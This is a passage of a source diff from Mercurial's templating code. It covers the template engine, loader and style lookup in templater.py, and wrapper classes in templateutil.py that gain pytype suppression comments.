658 658 templater is asked to expand a key in map. it looks up key, and
659 659 looks for strings like this: {foo}. it expands {foo} by looking up
660 660 foo in map, and substituting it. expansion is recursive: it stops
661 661 when there is no more {foo} to replace.
662 662
663 663 expansion also allows formatting and filtering.
664 664
665 665 format uses key to expand each item in list. syntax is
666 666 {key%format}.
667 667
668 668 filter uses function to transform value. syntax is
669 669 {key|filter1|filter2|...}.'''
670 670
671 671 def __init__(self, loader, filters=None, defaults=None, resources=None):
672 672 self._loader = loader
673 673 if filters is None:
674 674 filters = {}
675 675 self._filters = filters
676 676 self._funcs = templatefuncs.funcs # make this a parameter if needed
677 677 if defaults is None:
678 678 defaults = {}
679 679 if resources is None:
680 680 resources = nullresourcemapper()
681 681 self._defaults = defaults
682 682 self._resources = resources
683 683 self._cache = {} # key: (func, data)
684 684 self._tmplcache = {} # literal template: (func, data)
685 685
686 686 def overlaymap(self, origmapping, newmapping):
687 687 """Create combined mapping from the original mapping and partial
688 688 mapping to override the original"""
689 689 # do not copy symbols which overrides the defaults depending on
690 690 # new resources, so the defaults will be re-evaluated (issue5612)
691 691 knownres = self._resources.knownkeys()
692 692 newres = self._resources.availablekeys(newmapping)
693 693 mapping = {
694 694 k: v
695 695 for k, v in pycompat.iteritems(origmapping)
696 696 if (
697 697 k in knownres # not a symbol per self.symbol()
698 698 or newres.isdisjoint(self._defaultrequires(k))
699 699 )
700 700 }
701 701 mapping.update(newmapping)
702 702 mapping.update(
703 703 self._resources.populatemap(self, origmapping, newmapping)
704 704 )
705 705 return mapping
706 706
707 707 def _defaultrequires(self, key):
708 708 """Resource keys required by the specified default symbol function"""
709 709 v = self._defaults.get(key)
710 710 if v is None or not callable(v):
711 711 return ()
712 712 return getattr(v, '_requires', ())
713 713
714 714 def symbol(self, mapping, key):
715 715 """Resolve symbol to value or function; None if nothing found"""
716 716 v = None
717 717 if key not in self._resources.knownkeys():
718 718 v = mapping.get(key)
719 719 if v is None:
720 720 v = self._defaults.get(key)
721 721 return v
722 722
723 723 def availableresourcekeys(self, mapping):
724 724 """Return a set of available resource keys based on the given mapping"""
725 725 return self._resources.availablekeys(mapping)
726 726
727 727 def knownresourcekeys(self):
728 728 """Return a set of supported resource keys"""
729 729 return self._resources.knownkeys()
730 730
731 731 def resource(self, mapping, key):
732 732 """Return internal data (e.g. cache) used for keyword/function
733 733 evaluation"""
734 734 v = self._resources.lookup(mapping, key)
735 735 if v is None:
736 736 raise templateutil.ResourceUnavailable(
737 737 _(b'template resource not available: %s') % key
738 738 )
739 739 return v
740 740
741 741 def _load(self, t):
742 742 '''load, parse, and cache a template'''
743 743 if t not in self._cache:
744 744 x = self._loader(t)
745 745 # put poison to cut recursion while compiling 't'
746 746 self._cache[t] = (_runrecursivesymbol, t)
747 747 try:
748 748 self._cache[t] = compileexp(x, self, methods)
749 749 except: # re-raises
750 750 del self._cache[t]
751 751 raise
752 752 return self._cache[t]
753 753
754 754 def _parse(self, tmpl):
755 755 """Parse and cache a literal template"""
756 756 if tmpl not in self._tmplcache:
757 757 x = parse(tmpl)
758 758 self._tmplcache[tmpl] = compileexp(x, self, methods)
759 759 return self._tmplcache[tmpl]
760 760
761 761 def preload(self, t):
762 762 """Load, parse, and cache the specified template if available"""
763 763 try:
764 764 self._load(t)
765 765 return True
766 766 except templateutil.TemplateNotFound:
767 767 return False
768 768
769 769 def process(self, t, mapping):
770 770 '''Perform expansion. t is name of map element to expand.
771 771 mapping contains added elements for use during expansion. Is a
772 772 generator.'''
773 773 func, data = self._load(t)
774 774 return self._expand(func, data, mapping)
775 775
776 776 def expand(self, tmpl, mapping):
777 777 """Perform expansion over a literal template
778 778
779 779 No user aliases will be expanded since this is supposed to be called
780 780 with an internal template string.
781 781 """
782 782 func, data = self._parse(tmpl)
783 783 return self._expand(func, data, mapping)
784 784
785 785 def _expand(self, func, data, mapping):
786 786 # populate additional items only if they don't exist in the given
787 787 # mapping. this is slightly different from overlaymap() because the
788 788 # initial 'revcache' may contain pre-computed items.
789 789 extramapping = self._resources.populatemap(self, {}, mapping)
790 790 if extramapping:
791 791 extramapping.update(mapping)
792 792 mapping = extramapping
793 793 return templateutil.flatten(self, mapping, func(self, mapping, data))
794 794
795 795
796 796 def stylelist():
797 797 paths = templatepaths()
798 798 if not paths:
799 799 return _(b'no templates found, try `hg debuginstall` for more info')
800 800 dirlist = os.listdir(paths[0])
801 801 stylelist = []
802 802 for file in dirlist:
803 803 split = file.split(b".")
804 804 if split[-1] in (b'orig', b'rej'):
805 805 continue
806 806 if split[0] == b"map-cmdline":
807 807 stylelist.append(split[1])
808 808 return b", ".join(sorted(stylelist))
809 809
810 810
811 811 def _readmapfile(mapfile):
812 812 """Load template elements from the given map file"""
813 813 if not os.path.exists(mapfile):
814 814 raise error.Abort(
815 815 _(b"style '%s' not found") % mapfile,
816 816 hint=_(b"available styles: %s") % stylelist(),
817 817 )
818 818
819 819 base = os.path.dirname(mapfile)
820 820 conf = config.config(includepaths=templatepaths())
821 821 conf.read(mapfile, remap={b'': b'templates'})
822 822
823 823 cache = {}
824 824 tmap = {}
825 825 aliases = []
826 826
827 827 val = conf.get(b'templates', b'__base__')
828 828 if val and val[0] not in b"'\"":
829 829 # treat as a pointer to a base class for this style
830 830 path = util.normpath(os.path.join(base, val))
831 831
832 832 # fallback check in template paths
833 833 if not os.path.exists(path):
834 834 for p in templatepaths():
835 835 p2 = util.normpath(os.path.join(p, val))
836 836 if os.path.isfile(p2):
837 837 path = p2
838 838 break
839 839 p3 = util.normpath(os.path.join(p2, b"map"))
840 840 if os.path.isfile(p3):
841 841 path = p3
842 842 break
843 843
844 844 cache, tmap, aliases = _readmapfile(path)
845 845
846 846 for key, val in conf[b'templates'].items():
847 847 if not val:
848 848 raise error.ParseError(
849 849 _(b'missing value'), conf.source(b'templates', key)
850 850 )
851 851 if val[0] in b"'\"":
852 852 if val[0] != val[-1]:
853 853 raise error.ParseError(
854 854 _(b'unmatched quotes'), conf.source(b'templates', key)
855 855 )
856 856 cache[key] = unquotestring(val)
857 857 elif key != b'__base__':
858 858 tmap[key] = os.path.join(base, val)
859 859 aliases.extend(conf[b'templatealias'].items())
860 860 return cache, tmap, aliases
861 861
862 862
863 863 class loader(object):
864 864 """Load template fragments optionally from a map file"""
865 865
866 866 def __init__(self, cache, aliases):
867 867 if cache is None:
868 868 cache = {}
869 869 self.cache = cache.copy()
870 870 self._map = {}
871 871 self._aliasmap = _aliasrules.buildmap(aliases)
872 872
873 873 def __contains__(self, key):
874 874 return key in self.cache or key in self._map
875 875
876 876 def load(self, t):
877 877 """Get parsed tree for the given template name. Use a local cache."""
878 878 if t not in self.cache:
879 879 try:
880 880 self.cache[t] = util.readfile(self._map[t])
881 881 except KeyError as inst:
882 882 raise templateutil.TemplateNotFound(
883 883 _(b'"%s" not in template map') % inst.args[0]
884 884 )
885 885 except IOError as inst:
886 886 reason = _(b'template file %s: %s') % (
887 887 self._map[t],
888 888 stringutil.forcebytestr(inst.args[1]),
889 889 )
890 890 raise IOError(inst.args[0], encoding.strfromlocal(reason))
891 891 return self._parse(self.cache[t])
892 892
893 893 def _parse(self, tmpl):
894 894 x = parse(tmpl)
895 895 if self._aliasmap:
896 896 x = _aliasrules.expand(self._aliasmap, x)
897 897 return x
898 898
899 899 def _findsymbolsused(self, tree, syms):
900 900 if not tree:
901 901 return
902 902 op = tree[0]
903 903 if op == b'symbol':
904 904 s = tree[1]
905 905 if s in syms[0]:
906 906 return # avoid recursion: s -> cache[s] -> s
907 907 syms[0].add(s)
908 908 if s in self.cache or s in self._map:
909 909 # s may be a reference for named template
910 910 self._findsymbolsused(self.load(s), syms)
911 911 return
912 912 if op in {b'integer', b'string'}:
913 913 return
914 914 # '{arg|func}' == '{func(arg)}'
915 915 if op == b'|':
916 916 syms[1].add(getsymbol(tree[2]))
917 917 self._findsymbolsused(tree[1], syms)
918 918 return
919 919 if op == b'func':
920 920 syms[1].add(getsymbol(tree[1]))
921 921 self._findsymbolsused(tree[2], syms)
922 922 return
923 923 for x in tree[1:]:
924 924 self._findsymbolsused(x, syms)
925 925
926 926 def symbolsused(self, t):
927 927 """Look up (keywords, filters/functions) referenced from the name
928 928 template 't'
929 929
930 930 This may load additional templates from the map file.
931 931 """
932 932 syms = (set(), set())
933 933 self._findsymbolsused(self.load(t), syms)
934 934 return syms
935 935
936 936
937 937 class templater(object):
938 938 def __init__(
939 939 self,
940 940 filters=None,
941 941 defaults=None,
942 942 resources=None,
943 943 cache=None,
944 944 aliases=(),
945 945 minchunk=1024,
946 946 maxchunk=65536,
947 947 ):
948 948 """Create template engine optionally with preloaded template fragments
949 949
950 950 - ``filters``: a dict of functions to transform a value into another.
951 951 - ``defaults``: a dict of symbol values/functions; may be overridden
952 952 by a ``mapping`` dict.
953 953 - ``resources``: a resourcemapper object to look up internal data
954 954 (e.g. cache), inaccessible from user template.
955 955 - ``cache``: a dict of preloaded template fragments.
956 956 - ``aliases``: a list of alias (name, replacement) pairs.
957 957
958 958 self.cache may be updated later to register additional template
959 959 fragments.
960 960 """
961 961 allfilters = templatefilters.filters.copy()
962 962 if filters:
963 963 allfilters.update(filters)
964 964 self._loader = loader(cache, aliases)
965 965 self._proc = engine(self._loader.load, allfilters, defaults, resources)
966 966 self._minchunk, self._maxchunk = minchunk, maxchunk
967 967
968 968 @classmethod
969 969 def frommapfile(
970 970 cls,
971 971 mapfile,
972 972 filters=None,
973 973 defaults=None,
974 974 resources=None,
975 975 cache=None,
976 976 minchunk=1024,
977 977 maxchunk=65536,
978 978 ):
979 979 """Create templater from the specified map file"""
980 980 t = cls(filters, defaults, resources, cache, [], minchunk, maxchunk)
981 981 cache, tmap, aliases = _readmapfile(mapfile)
982 982 t._loader.cache.update(cache)
983 983 t._loader._map = tmap
984 984 t._loader._aliasmap = _aliasrules.buildmap(aliases)
985 985 return t
986 986
987 987 def __contains__(self, key):
988 988 return key in self._loader
989 989
990 990 @property
991 991 def cache(self):
992 992 return self._loader.cache
993 993
994 994 # for highlight extension to insert one-time 'colorize' filter
995 995 @property
996 996 def _filters(self):
997 997 return self._proc._filters
998 998
999 999 @property
1000 1000 def defaults(self):
1001 1001 return self._proc._defaults
1002 1002
1003 1003 def load(self, t):
1004 1004 """Get parsed tree for the given template name. Use a local cache."""
1005 1005 return self._loader.load(t)
1006 1006
1007 1007 def symbolsuseddefault(self):
1008 1008 """Look up (keywords, filters/functions) referenced from the default
1009 1009 unnamed template
1010 1010
1011 1011 This may load additional templates from the map file.
1012 1012 """
1013 1013 return self.symbolsused(b'')
1014 1014
1015 1015 def symbolsused(self, t):
1016 1016 """Look up (keywords, filters/functions) referenced from the name
1017 1017 template 't'
1018 1018
1019 1019 This may load additional templates from the map file.
1020 1020 """
1021 1021 return self._loader.symbolsused(t)
1022 1022
1023 1023 def renderdefault(self, mapping):
1024 1024 """Render the default unnamed template and return result as string"""
1025 1025 return self.render(b'', mapping)
1026 1026
1027 1027 def render(self, t, mapping):
1028 1028 """Render the specified named template and return result as string"""
1029 1029 return b''.join(self.generate(t, mapping))
1030 1030
1031 1031 def generate(self, t, mapping):
1032 1032 """Return a generator that renders the specified named template and
1033 1033 yields chunks"""
1034 1034 stream = self._proc.process(t, mapping)
1035 1035 if self._minchunk:
1036 1036 stream = util.increasingchunks(
1037 1037 stream, min=self._minchunk, max=self._maxchunk
1038 1038 )
1039 1039 return stream
1040 1040
1041 1041
1042 1042 def templatepaths():
1043 1043 '''return locations used for template files.'''
1044 1044 pathsrel = [b'templates']
1045 1045 paths = [os.path.normpath(os.path.join(util.datapath, f)) for f in pathsrel]
1046 1046 return [p for p in paths if os.path.isdir(p)]
1047 1047
1048 1048
1049 1049 def templatepath(name):
1050 1050 '''return location of template file. returns None if not found.'''
1051 1051 for p in templatepaths():
1052 1052 f = os.path.join(p, name)
1053 1053 if os.path.exists(f):
1054 1054 return f
1055 1055 return None
1056 1056
1057 1057
1058 1058 def stylemap(styles, paths=None):
1059 1059 """Return path to mapfile for a given style.
1060 1060
1061 1061 Searches mapfile in the following locations:
1062 1062 1. templatepath/style/map
1063 1063 2. templatepath/map-style
1064 1064 3. templatepath/map
1065 1065 """
1066 1066
1067 1067 if paths is None:
1068 1068 paths = templatepaths()
1069 1069 elif isinstance(paths, bytes):
1070 1070 paths = [paths]
1071 1071
1072 1072 if isinstance(styles, bytes):
1073 1073 styles = [styles]
1074 1074
1075 1075 for style in styles:
1076 1076 # only plain name is allowed to honor template paths
1077 1077 if (
1078 1078 not style
1079 1079 or style in (pycompat.oscurdir, pycompat.ospardir)
1080 1080 or pycompat.ossep in style
1081 1081 or pycompat.osaltsep
1082 1082 and pycompat.osaltsep in style
1083 1083 ):
1084 1084 continue
1085 1085 locations = [os.path.join(style, b'map'), b'map-' + style]
1086 1086 locations.append(b'map')
1087 1087
1088 1088 for path in paths:
1089 1089 for location in locations:
1090 1090 mapfile = os.path.join(path, location)
1091 1091 if os.path.isfile(mapfile):
1092 1092 return style, mapfile
1093 1093
1094 1094 raise RuntimeError(b"No hgweb templates found in %r" % paths)
@@ -1,1096 +1,1096 b''
1 1 # templateutil.py - utility for template evaluation
2 2 #
3 3 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import abc
11 11 import types
12 12
13 13 from .i18n import _
14 14 from .pycompat import getattr
15 15 from . import (
16 16 error,
17 17 pycompat,
18 18 util,
19 19 )
20 20 from .utils import (
21 21 dateutil,
22 22 stringutil,
23 23 )
24 24
25 25
26 26 class ResourceUnavailable(error.Abort):
27 27 pass
28 28
29 29
30 30 class TemplateNotFound(error.Abort):
31 31 pass
32 32
33 33
34 class wrapped(object):
34 class wrapped(object): # pytype: disable=ignored-metaclass
35 35 """Object requiring extra conversion prior to displaying or processing
36 36 as value
37 37
38 38 Use unwrapvalue() or unwrapastype() to obtain the inner object.
39 39 """
40 40
41 41 __metaclass__ = abc.ABCMeta
42 42
43 43 @abc.abstractmethod
44 44 def contains(self, context, mapping, item):
45 45 """Test if the specified item is in self
46 46
47 47 The item argument may be a wrapped object.
48 48 """
49 49
50 50 @abc.abstractmethod
51 51 def getmember(self, context, mapping, key):
52 52 """Return a member item for the specified key
53 53
54 54 The key argument may be a wrapped object.
55 55 A returned object may be either a wrapped object or a pure value
56 56 depending on the self type.
57 57 """
58 58
59 59 @abc.abstractmethod
60 60 def getmin(self, context, mapping):
61 61 """Return the smallest item, which may be either a wrapped or a pure
62 62 value depending on the self type"""
63 63
64 64 @abc.abstractmethod
65 65 def getmax(self, context, mapping):
66 66 """Return the largest item, which may be either a wrapped or a pure
67 67 value depending on the self type"""
68 68
69 69 @abc.abstractmethod
70 70 def filter(self, context, mapping, select):
71 71 """Return new container of the same type which includes only the
72 72 selected elements
73 73
74 74 select() takes each item as a wrapped object and returns True/False.
75 75 """
76 76
77 77 @abc.abstractmethod
78 78 def itermaps(self, context):
79 79 """Yield each template mapping"""
80 80
81 81 @abc.abstractmethod
82 82 def join(self, context, mapping, sep):
83 83 """Join items with the separator; Returns a bytes or (possibly nested)
84 84 generator of bytes
85 85
86 86 A pre-configured template may be rendered per item if this container
87 87 holds unprintable items.
88 88 """
89 89
90 90 @abc.abstractmethod
91 91 def show(self, context, mapping):
92 92 """Return a bytes or (possibly nested) generator of bytes representing
93 93 the underlying object
94 94
95 95 A pre-configured template may be rendered if the underlying object is
96 96 not printable.
97 97 """
98 98
99 99 @abc.abstractmethod
100 100 def tobool(self, context, mapping):
101 101 """Return a boolean representation of the inner value"""
102 102
103 103 @abc.abstractmethod
104 104 def tovalue(self, context, mapping):
105 105 """Move the inner value object out or create a value representation
106 106
107 107 A returned value must be serializable by templaterfilters.json().
108 108 """
109 109
110 110
111 class mappable(object):
111 class mappable(object): # pytype: disable=ignored-metaclass
112 112 """Object which can be converted to a single template mapping"""
113 113
114 114 __metaclass__ = abc.ABCMeta
115 115
116 116 def itermaps(self, context):
117 117 yield self.tomap(context)
118 118
119 119 @abc.abstractmethod
120 120 def tomap(self, context):
121 121 """Create a single template mapping representing this"""
122 122
123 123
124 124 class wrappedbytes(wrapped):
125 125 """Wrapper for byte string"""
126 126
127 127 def __init__(self, value):
128 128 self._value = value
129 129
130 130 def contains(self, context, mapping, item):
131 131 item = stringify(context, mapping, item)
132 132 return item in self._value
133 133
134 134 def getmember(self, context, mapping, key):
135 135 raise error.ParseError(
136 136 _(b'%r is not a dictionary') % pycompat.bytestr(self._value)
137 137 )
138 138
139 139 def getmin(self, context, mapping):
140 140 return self._getby(context, mapping, min)
141 141
142 142 def getmax(self, context, mapping):
143 143 return self._getby(context, mapping, max)
144 144
145 145 def _getby(self, context, mapping, func):
146 146 if not self._value:
147 147 raise error.ParseError(_(b'empty string'))
148 148 return func(pycompat.iterbytestr(self._value))
149 149
150 150 def filter(self, context, mapping, select):
151 151 raise error.ParseError(
152 152 _(b'%r is not filterable') % pycompat.bytestr(self._value)
153 153 )
154 154
155 155 def itermaps(self, context):
156 156 raise error.ParseError(
157 157 _(b'%r is not iterable of mappings') % pycompat.bytestr(self._value)
158 158 )
159 159
160 160 def join(self, context, mapping, sep):
161 161 return joinitems(pycompat.iterbytestr(self._value), sep)
162 162
163 163 def show(self, context, mapping):
164 164 return self._value
165 165
166 166 def tobool(self, context, mapping):
167 167 return bool(self._value)
168 168
169 169 def tovalue(self, context, mapping):
170 170 return self._value
171 171
172 172
173 173 class wrappedvalue(wrapped):
174 174 """Generic wrapper for pure non-list/dict/bytes value"""
175 175
176 176 def __init__(self, value):
177 177 self._value = value
178 178
179 179 def contains(self, context, mapping, item):
180 180 raise error.ParseError(_(b"%r is not iterable") % self._value)
181 181
182 182 def getmember(self, context, mapping, key):
183 183 raise error.ParseError(_(b'%r is not a dictionary') % self._value)
184 184
185 185 def getmin(self, context, mapping):
186 186 raise error.ParseError(_(b"%r is not iterable") % self._value)
187 187
188 188 def getmax(self, context, mapping):
189 189 raise error.ParseError(_(b"%r is not iterable") % self._value)
190 190
191 191 def filter(self, context, mapping, select):
192 192 raise error.ParseError(_(b"%r is not iterable") % self._value)
193 193
194 194 def itermaps(self, context):
195 195 raise error.ParseError(
196 196 _(b'%r is not iterable of mappings') % self._value
197 197 )
198 198
199 199 def join(self, context, mapping, sep):
200 200 raise error.ParseError(_(b'%r is not iterable') % self._value)
201 201
202 202 def show(self, context, mapping):
203 203 if self._value is None:
204 204 return b''
205 205 return pycompat.bytestr(self._value)
206 206
207 207 def tobool(self, context, mapping):
208 208 if self._value is None:
209 209 return False
210 210 if isinstance(self._value, bool):
211 211 return self._value
212 212 # otherwise evaluate as string, which means 0 is True
213 213 return bool(pycompat.bytestr(self._value))
214 214
215 215 def tovalue(self, context, mapping):
216 216 return self._value
217 217
218 218
219 219 class date(mappable, wrapped):
220 220 """Wrapper for date tuple"""
221 221
222 222 def __init__(self, value, showfmt=b'%d %d'):
223 223 # value may be (float, int), but public interface shouldn't support
224 224 # floating-point timestamp
225 225 self._unixtime, self._tzoffset = map(int, value)
226 226 self._showfmt = showfmt
227 227
228 228 def contains(self, context, mapping, item):
229 229 raise error.ParseError(_(b'date is not iterable'))
230 230
231 231 def getmember(self, context, mapping, key):
232 232 raise error.ParseError(_(b'date is not a dictionary'))
233 233
234 234 def getmin(self, context, mapping):
235 235 raise error.ParseError(_(b'date is not iterable'))
236 236
237 237 def getmax(self, context, mapping):
238 238 raise error.ParseError(_(b'date is not iterable'))
239 239
240 240 def filter(self, context, mapping, select):
241 241 raise error.ParseError(_(b'date is not iterable'))
242 242
243 243 def join(self, context, mapping, sep):
244 244 raise error.ParseError(_(b"date is not iterable"))
245 245
246 246 def show(self, context, mapping):
247 247 return self._showfmt % (self._unixtime, self._tzoffset)
248 248
249 249 def tomap(self, context):
250 250 return {b'unixtime': self._unixtime, b'tzoffset': self._tzoffset}
251 251
252 252 def tobool(self, context, mapping):
253 253 return True
254 254
255 255 def tovalue(self, context, mapping):
256 256 return (self._unixtime, self._tzoffset)
257 257
258 258
259 259 class hybrid(wrapped):
260 260 """Wrapper for list or dict to support legacy template
261 261
262 262 This class allows us to handle both:
263 263 - "{files}" (legacy command-line-specific list hack) and
264 264 - "{files % '{file}\n'}" (hgweb-style with inlining and function support)
265 265 and to access raw values:
266 266 - "{ifcontains(file, files, ...)}", "{ifcontains(key, extras, ...)}"
267 267 - "{get(extras, key)}"
268 268 - "{files|json}"
269 269 """
270 270
271 271 def __init__(self, gen, values, makemap, joinfmt, keytype=None):
272 272 self._gen = gen # generator or function returning generator
273 273 self._values = values
274 274 self._makemap = makemap
275 275 self._joinfmt = joinfmt
276 276 self._keytype = keytype # hint for 'x in y' where type(x) is unresolved
277 277
278 278 def contains(self, context, mapping, item):
279 279 item = unwrapastype(context, mapping, item, self._keytype)
280 280 return item in self._values
281 281
282 282 def getmember(self, context, mapping, key):
283 283 # TODO: maybe split hybrid list/dict types?
284 284 if not util.safehasattr(self._values, b'get'):
285 285 raise error.ParseError(_(b'not a dictionary'))
286 286 key = unwrapastype(context, mapping, key, self._keytype)
287 287 return self._wrapvalue(key, self._values.get(key))
288 288
289 289 def getmin(self, context, mapping):
290 290 return self._getby(context, mapping, min)
291 291
292 292 def getmax(self, context, mapping):
293 293 return self._getby(context, mapping, max)
294 294
295 295 def _getby(self, context, mapping, func):
296 296 if not self._values:
297 297 raise error.ParseError(_(b'empty sequence'))
298 298 val = func(self._values)
299 299 return self._wrapvalue(val, val)
300 300
301 301 def _wrapvalue(self, key, val):
302 302 if val is None:
303 303 return
304 304 if util.safehasattr(val, b'_makemap'):
305 305 # a nested hybrid list/dict, which has its own way of map operation
306 306 return val
307 307 return hybriditem(None, key, val, self._makemap)
308 308
309 309 def filter(self, context, mapping, select):
310 310 if util.safehasattr(self._values, b'get'):
311 311 values = {
312 312 k: v
313 313 for k, v in pycompat.iteritems(self._values)
314 314 if select(self._wrapvalue(k, v))
315 315 }
316 316 else:
317 317 values = [v for v in self._values if select(self._wrapvalue(v, v))]
318 318 return hybrid(None, values, self._makemap, self._joinfmt, self._keytype)
319 319
320 320 def itermaps(self, context):
321 321 makemap = self._makemap
322 322 for x in self._values:
323 323 yield makemap(x)
324 324
325 325 def join(self, context, mapping, sep):
326 326 # TODO: switch gen to (context, mapping) API?
327 327 return joinitems((self._joinfmt(x) for x in self._values), sep)
328 328
329 329 def show(self, context, mapping):
330 330 # TODO: switch gen to (context, mapping) API?
331 331 gen = self._gen
332 332 if gen is None:
333 333 return self.join(context, mapping, b' ')
334 334 if callable(gen):
335 335 return gen()
336 336 return gen
337 337
338 338 def tobool(self, context, mapping):
339 339 return bool(self._values)
340 340
341 341 def tovalue(self, context, mapping):
342 342 # TODO: make it non-recursive for trivial lists/dicts
343 343 xs = self._values
344 344 if util.safehasattr(xs, b'get'):
345 345 return {
346 346 k: unwrapvalue(context, mapping, v)
347 347 for k, v in pycompat.iteritems(xs)
348 348 }
349 349 return [unwrapvalue(context, mapping, x) for x in xs]
350 350
351 351
352 352 class hybriditem(mappable, wrapped):
353 353 """Wrapper for non-list/dict object to support map operation
354 354
355 355 This class allows us to handle both:
356 356 - "{manifest}"
357 357 - "{manifest % '{rev}:{node}'}"
358 358 - "{manifest.rev}"
359 359 """
360 360
361 361 def __init__(self, gen, key, value, makemap):
362 362 self._gen = gen # generator or function returning generator
363 363 self._key = key
364 364 self._value = value # may be generator of strings
365 365 self._makemap = makemap
366 366
367 367 def tomap(self, context):
368 368 return self._makemap(self._key)
369 369
370 370 def contains(self, context, mapping, item):
371 371 w = makewrapped(context, mapping, self._value)
372 372 return w.contains(context, mapping, item)
373 373
374 374 def getmember(self, context, mapping, key):
375 375 w = makewrapped(context, mapping, self._value)
376 376 return w.getmember(context, mapping, key)
377 377
378 378 def getmin(self, context, mapping):
379 379 w = makewrapped(context, mapping, self._value)
380 380 return w.getmin(context, mapping)
381 381
382 382 def getmax(self, context, mapping):
383 383 w = makewrapped(context, mapping, self._value)
384 384 return w.getmax(context, mapping)
385 385
386 386 def filter(self, context, mapping, select):
387 387 w = makewrapped(context, mapping, self._value)
388 388 return w.filter(context, mapping, select)
389 389
390 390 def join(self, context, mapping, sep):
391 391 w = makewrapped(context, mapping, self._value)
392 392 return w.join(context, mapping, sep)
393 393
394 394 def show(self, context, mapping):
395 395 # TODO: switch gen to (context, mapping) API?
396 396 gen = self._gen
397 397 if gen is None:
398 398 return pycompat.bytestr(self._value)
399 399 if callable(gen):
400 400 return gen()
401 401 return gen
402 402
403 403 def tobool(self, context, mapping):
404 404 w = makewrapped(context, mapping, self._value)
405 405 return w.tobool(context, mapping)
406 406
407 407 def tovalue(self, context, mapping):
408 408 return _unthunk(context, mapping, self._value)
409 409
410 410
411 411 class _mappingsequence(wrapped):
412 412 """Wrapper for sequence of template mappings
413 413
414 414 This represents an inner template structure (i.e. a list of dicts),
415 415 which can also be rendered by the specified named/literal template.
416 416
417 417 Template mappings may be nested.
418 418 """
419 419
420 420 def __init__(self, name=None, tmpl=None, sep=b''):
421 421 if name is not None and tmpl is not None:
422 422 raise error.ProgrammingError(
423 423 b'name and tmpl are mutually exclusive'
424 424 )
425 425 self._name = name
426 426 self._tmpl = tmpl
427 427 self._defaultsep = sep
428 428
429 429 def contains(self, context, mapping, item):
430 430 raise error.ParseError(_(b'not comparable'))
431 431
432 432 def getmember(self, context, mapping, key):
433 433 raise error.ParseError(_(b'not a dictionary'))
434 434
435 435 def getmin(self, context, mapping):
436 436 raise error.ParseError(_(b'not comparable'))
437 437
438 438 def getmax(self, context, mapping):
439 439 raise error.ParseError(_(b'not comparable'))
440 440
441 441 def filter(self, context, mapping, select):
442 442 # implement if necessary; we'll need a wrapped type for a mapping dict
443 443 raise error.ParseError(_(b'not filterable without template'))
444 444
445 445 def join(self, context, mapping, sep):
446 446 mapsiter = _iteroverlaymaps(context, mapping, self.itermaps(context))
447 447 if self._name:
448 448 itemiter = (context.process(self._name, m) for m in mapsiter)
449 449 elif self._tmpl:
450 450 itemiter = (context.expand(self._tmpl, m) for m in mapsiter)
451 451 else:
452 452 raise error.ParseError(_(b'not displayable without template'))
453 453 return joinitems(itemiter, sep)
454 454
455 455 def show(self, context, mapping):
456 456 return self.join(context, mapping, self._defaultsep)
457 457
458 458 def tovalue(self, context, mapping):
459 459 knownres = context.knownresourcekeys()
460 460 items = []
461 461 for nm in self.itermaps(context):
462 462 # drop internal resources (recursively) which shouldn't be displayed
463 463 lm = context.overlaymap(mapping, nm)
464 464 items.append(
465 465 {
466 466 k: unwrapvalue(context, lm, v)
467 467 for k, v in pycompat.iteritems(nm)
468 468 if k not in knownres
469 469 }
470 470 )
471 471 return items
472 472
473 473
474 474 class mappinggenerator(_mappingsequence):
475 475 """Wrapper for generator of template mappings
476 476
477 477 The function ``make(context, *args)`` should return a generator of
478 478 mapping dicts.
479 479 """
480 480
481 481 def __init__(self, make, args=(), name=None, tmpl=None, sep=b''):
482 482 super(mappinggenerator, self).__init__(name, tmpl, sep)
483 483 self._make = make
484 484 self._args = args
485 485
486 486 def itermaps(self, context):
487 487 return self._make(context, *self._args)
488 488
489 489 def tobool(self, context, mapping):
490 490 return _nonempty(self.itermaps(context))
491 491
492 492
493 493 class mappinglist(_mappingsequence):
494 494 """Wrapper for list of template mappings"""
495 495
496 496 def __init__(self, mappings, name=None, tmpl=None, sep=b''):
497 497 super(mappinglist, self).__init__(name, tmpl, sep)
498 498 self._mappings = mappings
499 499
500 500 def itermaps(self, context):
501 501 return iter(self._mappings)
502 502
503 503 def tobool(self, context, mapping):
504 504 return bool(self._mappings)
505 505
506 506
507 507 class mappingdict(mappable, _mappingsequence):
508 508 """Wrapper for a single template mapping
509 509
510 510 This isn't a sequence in a way that the underlying dict won't be iterated
511 511 as a dict, but shares most of the _mappingsequence functions.
512 512 """
513 513
514 514 def __init__(self, mapping, name=None, tmpl=None):
515 515 super(mappingdict, self).__init__(name, tmpl)
516 516 self._mapping = mapping
517 517
518 518 def tomap(self, context):
519 519 return self._mapping
520 520
521 521 def tobool(self, context, mapping):
522 522 # no idea when a template mapping should be considered an empty, but
523 523 # a mapping dict should have at least one item in practice, so always
524 524 # mark this as non-empty.
525 525 return True
526 526
527 527 def tovalue(self, context, mapping):
528 528 return super(mappingdict, self).tovalue(context, mapping)[0]
529 529
530 530
531 531 class mappingnone(wrappedvalue):
532 532 """Wrapper for None, but supports map operation
533 533
534 534 This represents None of Optional[mappable]. It's similar to
535 535 mapplinglist([]), but the underlying value is not [], but None.
536 536 """
537 537
538 538 def __init__(self):
539 539 super(mappingnone, self).__init__(None)
540 540
541 541 def itermaps(self, context):
542 542 return iter([])
543 543
544 544
545 545 class mappedgenerator(wrapped):
546 546 """Wrapper for generator of strings which acts as a list
547 547
548 548 The function ``make(context, *args)`` should return a generator of
549 549 byte strings, or a generator of (possibly nested) generators of byte
550 550 strings (i.e. a generator for a list of byte strings.)
551 551 """
552 552
553 553 def __init__(self, make, args=()):
554 554 self._make = make
555 555 self._args = args
556 556
557 557 def contains(self, context, mapping, item):
558 558 item = stringify(context, mapping, item)
559 559 return item in self.tovalue(context, mapping)
560 560
561 561 def _gen(self, context):
562 562 return self._make(context, *self._args)
563 563
564 564 def getmember(self, context, mapping, key):
565 565 raise error.ParseError(_(b'not a dictionary'))
566 566
567 567 def getmin(self, context, mapping):
568 568 return self._getby(context, mapping, min)
569 569
570 570 def getmax(self, context, mapping):
571 571 return self._getby(context, mapping, max)
572 572
573 573 def _getby(self, context, mapping, func):
574 574 xs = self.tovalue(context, mapping)
575 575 if not xs:
576 576 raise error.ParseError(_(b'empty sequence'))
577 577 return func(xs)
578 578
579 579 @staticmethod
